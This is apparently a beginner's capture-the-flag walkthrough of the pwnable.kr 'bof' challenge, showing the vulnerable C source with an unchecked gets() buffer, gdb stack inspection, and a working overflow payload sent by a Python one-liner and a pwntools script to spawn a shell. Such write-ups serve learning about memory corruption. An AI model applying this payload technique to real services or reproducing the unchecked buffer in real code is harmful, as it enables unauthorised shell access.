# [PWNABLE.KR](http://pwnable.kr/play.php) BOF WALKTHROUGH

## Introduction

Hi there, here is my first article on binary exploitation. We had a responsibility as [cyb0ts](https://twitter.com/cyb0ts) to reasearch and write an article.
This challenge, as its name bof, focuses on exploiting buffer overflow by overwriting a variable then gain a shell.
Ill look at the various ways, the manual way to exploit it and also using an automated script using [pwntools](https://docs.pwntools.com/en/stable/).

## Challenge Description

As we can see, we are provide with the source code, the binary and the port its running on

┌─[r00t@parrot]─[~/Desktop/pwnable/bof]
└──╼ $ls -la
total 16
drwxr-xr-x 1 r00t r00t   28 Dec 14 15:20 .
drwxr-xr-x 1 r00t r00t    6 Dec 14 14:03 ..
-rw-r--r-- 1 r00t r00t 7348 May 16  2019 bof
-rw-r--r-- 1 r00t r00t  308 May 16  2019 bof.c

we can take a look at the code in bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

#### Code analysis

We can see, we have two functions ```main() ``` and ```func()```.

Lets start analysing the first function in our code, which is ```func()```

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}

We see that the function, takes a variable called key. Then it starts by creating a variable ```overflowme``` which is set a buffer of 32 chars. ``` char overflowme[32]```
The fuction the prints ```overflow me :``` at line 3 ```printf("overflow me : ")```. It then takes our input and saves it in the variable
we also have an if statement. it checks the ```key``` variable and checks if it is equal to ```0xcafebabe```. If they are equal, it will spawn a shell ```system("/bin/sh");``` else if they are not eqaul it prints ```Nah..``` ```printf("Nah..\n");```

Lets now look at the ```main()``` function

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

As we can see, its not a long one. So what is basically does, is calling calling the fuction ```func``` and giving it the value of ```0xdeadbeef```.

So what we have to do, is make the value of the key, equal to ```0xcafebabe``` and not ```0xdeadbeef``` so as to spawn the shell. Since we can control key, we will have to try and controll ```overflowme``` and cause an overflow that will also overwrite ```key.```

> (below highlight in green)

![gets vulnerable](https://i.imgur.com/WeWH0YD.png)


##    Examing the binary
We can start by inputing a short in the binary
![no bof](https://i.imgur.com/qfasj95.png)
We can see the if statement is executed and we are prompted with a Nah..

Now i can try with a long input and see the results, if it will be overflowed or not.
![bof](https://i.imgur.com/kogT7nw.png)
we can see it crashed

So the next move is to know where ```0xdeadbeef``` is located in the stack. Then take a breakpoint before the main() function. We will use gdb here.

![](https://i.imgur.com/wAoXMVD.png)

so I added a breakpoint at main ```break main``` so as it can stop before entering the main function. Then now run the binary ```r```.

So we can now disassemble ```func()``` to get the address of the compare function that compares ```key``` and ``` 0xcafebabe ``` add another breakpoint to so we can study the stack.


We can see the ```cmpl``` instruction at ```0x56555654``` so we can set a breakpoint right before it.```break *0x56555654```. Then continue and wait for the breakpoint.
after it reached the breakpoint, I gave it a short input since we dont need it to crash. We need to over look the stack during a normal execution.```x/50wx $esp```

We can see ```0xdeadbeef``` appears in the first column after the address ```0xffffcfc0```. Our inputs is represented by the hex values ```0x41414141``` we see. Since ```0x41414141==AAAA``` each hex, represt 4 char. We have 13 of them before reaching ```0xdeadbeef```.

With this in mind, we can now perfectly overwrite ```0xdeadbeef```. Since 1 hex represents 4 chars and they are 13 of them before reaching ```0xdeadbeef```, we can find the number of chars we need to reach it and overwrite it with ```0xcafebabe```

We can see that we need 52 chars followed by ```0xcafebabe``` to overwrite ```0xdeadbeef```

we can do this using python script that will write the output in a file which we will then run it piped to the ```nc``` port ```python -c "print 'A' * 52 + '\xbe\xba\xfe\xca'" > ./ape ```
Then ```cat ape && cat) | nc pwnable.kr 9000```

yaay!! we PWNED :-)

---

## Writing a pwntools exploit
We will write our exploit step by step. first, we start by importing pwntools```from pwn import *```
we can now add a variable that holds our payload

we can also have another variable for our connection

Now we can send our payload

lastly, is to interact with the shell

The final exploit will look like:

#!/usr/bin/python
from pwn import *

payload = 'A' * 52 + '\xbe\xba\xfe\xca'
shell = remote('pwnable.kr',9000)
shell.send(payload)
shell.interactive()

we PWNED it once more.

---